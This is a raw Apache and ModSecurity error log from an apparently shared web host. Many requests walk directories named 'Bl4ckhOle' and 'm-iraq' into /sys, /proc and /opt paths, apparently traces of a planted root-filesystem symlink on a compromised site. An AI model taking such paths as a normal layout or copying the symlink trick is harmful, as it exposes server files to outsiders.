[Fri Jul 17 10:27:04.383410 2026] [security2:error] [pid 2075908:tid 2075908] [client 47.82.51.20:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/zip.ini"] [unique_id "alm2IEj_u9-aE9qeQW0dhgAAAAk"]
[Fri Jul 17 10:27:04.412247 2026] [security2:error] [pid 2075908:tid 2075908] [client 47.82.51.20:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/zip.ini"] [unique_id "alm2IEj_u9-aE9qeQW0dhgAAAAk"]
[Fri Jul 17 10:27:04.418359 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:04.516764 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:04.622271 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:04.724579 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:04.936553 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:05.037897 2026] [core:error] [pid 2075904:tid 2075904] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/dev/fd/5
[Fri Jul 17 10:27:05.308242 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:05.458064 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:05.564957 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:05.667795 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:05.871428 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:05.989721 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:06.186881 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:06.287949 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:06.364702 2026] [ssl:error] [pid 2078862:tid 2078862] (70014)End of file found: [client 66.85.158.91:59892] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:06.390002 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:06.506520 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:06.507966 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:06.511156 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:06.557795 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2IjuaDdNRw9_WO14yngAAAAg"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:27:06.557825 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2IjuaDdNRw9_WO14yngAAAAg"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:27:06.597091 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:06.716829 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:06.836002 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:06.940433 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.042002 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.144442 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.246151 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.460356 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.559893 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.666602 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.778444 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.886355 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.980369 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.997616 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.997742 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.997786 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.997826 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.997866 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.997905 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.997944 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.997980 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.998030 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.998083 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.998142 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.998188 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.998236 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.998282 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.998330 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:07.998389 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:08.097830 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:08.206231 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:08.307346 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:08.367744 2026] [core:error] [pid 2075692:tid 2075692] (13)Permission denied: [client 47.82.13.212:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-usr-local-cpanel-libexec.mount/cgroup.event_control
[Fri Jul 17 10:27:08.626368 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:08.728049 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:08.938410 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:09.039401 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:09.245755 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:09.348612 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:09.557370 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:09.658056 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:09.766168 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:09.867021 2026] [core:error] [pid 2075723:tid 2075723] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/node0/cpu0/driver/uevent
[Fri Jul 17 10:27:10.075477 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:10.177554 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:10.277386 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:10.379356 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:10.486505 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:10.587645 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:10.893381 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:10.996233 2026] [core:error] [pid 2075904:tid 2075904] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty21/subsystem/ttyS2/uartclk
[Fri Jul 17 10:27:11.096361 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:11.198125 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:11.299615 2026] [core:error] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/ttyS0/irq
[Fri Jul 17 10:27:11.625112 2026] [core:error] [pid 2075705:tid 2075705] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu1/driver/cpu2/subsystem/uevent
[Fri Jul 17 10:27:11.828355 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:11.828489 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:11.828534 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:11.828629 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:11.828760 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:11.828800 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:11.931911 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:12.033133 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:12.138798 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:12.346887 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:12.460786 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:12.557350 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:12.658836 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:12.759170 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:14.235883 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:14.349366 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:60818] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:14.856298 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:15.058921 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:16.114632 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:16.313780 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:16.647090 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:16.746832 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:17.785752 2026] [core:error] [pid 2078862:tid 2078862] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/virtio/devices/virtio2/driver/bind
[Fri Jul 17 10:27:17.989889 2026] [core:error] [pid 2075908:tid 2075908] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty21/subsystem/ttyS2/closing_wait
[Fri Jul 17 10:27:18.300435 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:18.888182 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty21/subsystem/tty46/uevent"] [unique_id "alm2LvTLXGCuVk4hiAO_IgAAAAs"]
[Fri Jul 17 10:27:18.888226 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty21/subsystem/tty46/uevent"] [unique_id "alm2LvTLXGCuVk4hiAO_IgAAAAs"]
[Fri Jul 17 10:27:18.998867 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:19.551001 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:09/path"] [unique_id "alm2Lx0C3r-GF3RTNAbTwQAAAAY"]
[Fri Jul 17 10:27:19.551032 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:09/path"] [unique_id "alm2Lx0C3r-GF3RTNAbTwQAAAAY"]
[Fri Jul 17 10:27:19.725660 2026] [ssl:error] [pid 2075692:tid 2075692] (70014)End of file found: [client 66.85.158.91:32802] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:19.854841 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:20.060033 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:20.169409 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:20.816237 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:23.090330 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:23.128898 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:37440] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:23.292272 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:23.910520 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:24.320345 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:24.420556 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:24.830724 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:24.830843 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:24.830881 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:24.830951 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:24.831018 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:24.831060 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:24.960152 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:24.965611 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:25.137633 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:13/subsystem/tty27/uevent"] [unique_id "alm2NXHGgRvC9MVf3SzIuQAAAAI"]
[Fri Jul 17 10:27:25.137662 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:13/subsystem/tty27/uevent"] [unique_id "alm2NXHGgRvC9MVf3SzIuQAAAAI"]
[Fri Jul 17 10:27:25.181149 2026] [security2:error] [pid 2078862:tid 2078862] [client 43.250.241.144:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-global": Permission denied [hostname "colperlab.com"] [uri "/wp-content/uploads/2024/06/Laboratory-Chemical.pdf"] [unique_id "alm2NVdpwFZenNBvzwM3owAAAA4"]
[Fri Jul 17 10:27:25.181194 2026] [security2:error] [pid 2078862:tid 2078862] [client 43.250.241.144:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-ip": Permission denied [hostname "colperlab.com"] [uri "/wp-content/uploads/2024/06/Laboratory-Chemical.pdf"] [unique_id "alm2NVdpwFZenNBvzwM3owAAAA4"]
[Fri Jul 17 10:27:26.816435 2026] [security2:error] [pid 2075693:tid 2075693] [client 57.141.18.79:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory121/node0/memory94/subsystem/devices/memory91/subsystem/devices/memory3/node0/"] [unique_id "alm2Nn5-BwPGxupoEJk1XwAAAA0"]
[Fri Jul 17 10:27:26.816477 2026] [security2:error] [pid 2075693:tid 2075693] [client 57.141.18.79:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory121/node0/memory94/subsystem/devices/memory91/subsystem/devices/memory3/node0/"] [unique_id "alm2Nn5-BwPGxupoEJk1XwAAAA0"]
[Fri Jul 17 10:27:26.935325 2026] [core:error] [pid 2075691:tid 2075691] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/subsystem/drivers/thermal/bind
[Fri Jul 17 10:27:27.358515 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:27.477448 2026] [core:error] [pid 2075728:tid 2075728] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty10/subsystem/tty21/subsystem/ttyS3/flags
[Fri Jul 17 10:27:27.941345 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:29.287834 2026] [security2:error] [pid 2075978:tid 2075978] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/module/tpm_tis/version"] [unique_id "alm2OWFjrl6DCT-Pyn8U-QAAAAo"]
[Fri Jul 17 10:27:29.287869 2026] [security2:error] [pid 2075978:tid 2075978] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/module/tpm_tis/version"] [unique_id "alm2OWFjrl6DCT-Pyn8U-QAAAAo"]
[Fri Jul 17 10:27:29.389261 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:29.911968 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:30.019967 2026] [ssl:error] [pid 2075692:tid 2075692] (70014)End of file found: [client 66.85.158.91:37672] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:30.062059 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:37678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:30.062397 2026] [security2:error] [pid 2076231:tid 2076231] [client 57.141.18.1:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory90/node0/memory7/node0/memory143/node0/memory45/valid_zones"] [unique_id "alm2OmG27nIfbW_ExyiIYwAAABM"]
[Fri Jul 17 10:27:30.062432 2026] [security2:error] [pid 2076231:tid 2076231] [client 57.141.18.1:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory90/node0/memory7/node0/memory143/node0/memory45/valid_zones"] [unique_id "alm2OmG27nIfbW_ExyiIYwAAABM"]
[Fri Jul 17 10:27:30.292278 2026] [core:error] [pid 2075691:tid 2075691] (13)Permission denied: [client 47.79.51.129:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:4/subsystem/ttyS2/irq
[Fri Jul 17 10:27:30.511189 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:31.193032 2026] [security2:error] [pid 2075723:tid 2075723] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm2OkD0S6w5KyU992IOQwAAAAM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1181&page_105=1462
[Fri Jul 17 10:27:31.193084 2026] [security2:error] [pid 2075723:tid 2075723] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm2OkD0S6w5KyU992IOQwAAAAM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1181&page_105=1462
[Fri Jul 17 10:27:31.276891 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:31.780408 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:47582] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:32.410434 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:32.437375 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:33.030249 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:33.232886 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:33.250562 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:47642] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:33.476054 2026] [core:error] [pid 2075908:tid 2075908] (13)Permission denied: [client 47.82.53.15:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:19/subsystem/uevent
[Fri Jul 17 10:27:34.597653 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
